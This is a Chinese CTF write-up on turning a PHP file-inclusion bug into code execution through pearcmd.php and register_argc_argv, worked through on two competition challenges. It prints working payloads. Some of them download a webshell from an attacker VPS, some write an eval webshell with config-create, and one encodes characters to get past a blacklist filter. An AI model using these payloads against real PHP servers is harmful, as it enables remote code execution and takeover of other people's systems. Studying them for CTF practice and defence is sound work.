首发掘金:https://juejin.cn/post/7147638903191814180
引文
其实这个去年就做虎符杯的题目时了解过,也是一个比较有趣的点,今年发现好多比赛都出过类似或者大差不差考这个知识点的题目,于是简单总结一下。
前置知识
PEAR
pear全称PHP Extension and Application Repository,php扩展和应用仓库,在docker中默认安装,路径为/user/local/lib/php.
register_argc_argv
php.ini里面的一个选项,默认为OFF,我们需要将其设置为ON。
1、cli模式(命令行)下
可以通过$_SERVER[‘argv’]`获得命令行参数
2、web网页模式下
传参时用+连接的值的个数就是argc,各个参数被存到argv里,
可以举个例子测试一下:
<?php
$xino=$_GET['xino'];
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>
可以看到其中是用+号来进行分隔的。
PEARCMD.PHP
先看看pear的存放地点为/usr/bin/pear,我们看一下它的源码
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/bin/php"
fi
fi
# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/share/pear" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/share/pear"
INCARG="-d include_path=/usr/share/pear"
fi
fi
exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"
是一个sh程序,并在最后一行调用了pearcmd.php
,跟进一下pearcmd.php会发现
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
判断 a r g v 是否为空,再尝试 ‘ argv是否为空,再尝试` argv是否为空,再尝试‘_SERVER[‘argv’]`,后者我们上文已经了解了是可以控制的,也就是说,我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。,具体利用思路也就清晰了,我们可以通过包含pearcmd.php然后拼接执行一些操作。
利用
就简单举几个比较常用的例子
出网
没了解过pear的可能不清楚,pear工具简单来说就是用来下载东西了,这不就有思路了,能不能直接往服务器里下载一个马。
命令如下:其中shell就是我们vps里写个恶意木马。
pear install -R /tmp http://xxxxxxx/shell.php
不出网
pear工具里有一个命令叫:config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。
我们可以构造url:
index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/xino.php
然后包含我们新建的这个文件就OK了。
例题
HXBCTF2021(EASYWILL)
willphp框架代码审计:
<?php
namespace home\controller;
class IndexController{
public function index(){
highlight_file(__FILE__);
assign($_GET['name'],$_GET['value']);
return view();
}
}
进去只有这些,需要我们自行下载源码,然后修改源码的这一部分放本地去做就行。
我们按照题目跟进assign
public static function assign($name, $value = null) {
if ($name != '') self::$vars[$name] = $value;
}
返回View.php
public static function fetch($file = '', $vars = []) {
if (!empty($vars)) self::$vars = array_merge(self::$vars, $vars); //数组合并
$viewfile = self::getViewFile($file);
if (file_exists($viewfile)) {
array_walk_recursive(self::$vars, 'self::parseVars'); //处理输出
define('__RUNTIME__', round((microtime(true) - START_TIME) , 4));
Template::render($viewfile, self::$vars);
} else {
App::halt($file.' 模板文件不存在。');
}
}
跟进render
Template.php
public static function renderTo($viewfile, $vars = []) {
$m = strtolower(__MODULE__);
$cfile = 'view-'.$m.'_'.basename($viewfile).'.php';
if (basename($viewfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($viewfile)) {
$strs = self::compile(file_get_contents($viewfile), $vars);
file_put_contents($cfile, $strs);
}
extract($vars);
include $cfile;
}
此处存在变量覆盖,可进行文件包含,name=cfile & value=xxx(我们想要包含的文件) 即可形成文件包含漏洞。
/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[a]);?>+/tmp/shell.php
执行马就可以了。
2022年羊城杯(rce_me)
因为这个比赛没打,看其他团队说这题也能用pearcmd.php去做,于是我们复现一下
题目给了我们源码
<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
$blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
foreach($blacklist as $blackword){
if(stristr($var, $blackword)) return False;
}
return True;
}
if(fliter($_SERVER["QUERY_STRING"]))
{
include $file;
}
else
{
die("Noooo0");
}
直接读取flag,会发现权限不够,既然题目会包含文件,那么我们不妨尝试一下
?file=/usr/local/lib/php/%70%65arcmd.php&+download+vps/shell.php
上传马之后我们可以进终端用date -f /flag去查询flag。
结语
还是太菜了,当初看羊城杯的这个题目时完全没有想到可以用这个方法来做,还是做题太少了啊。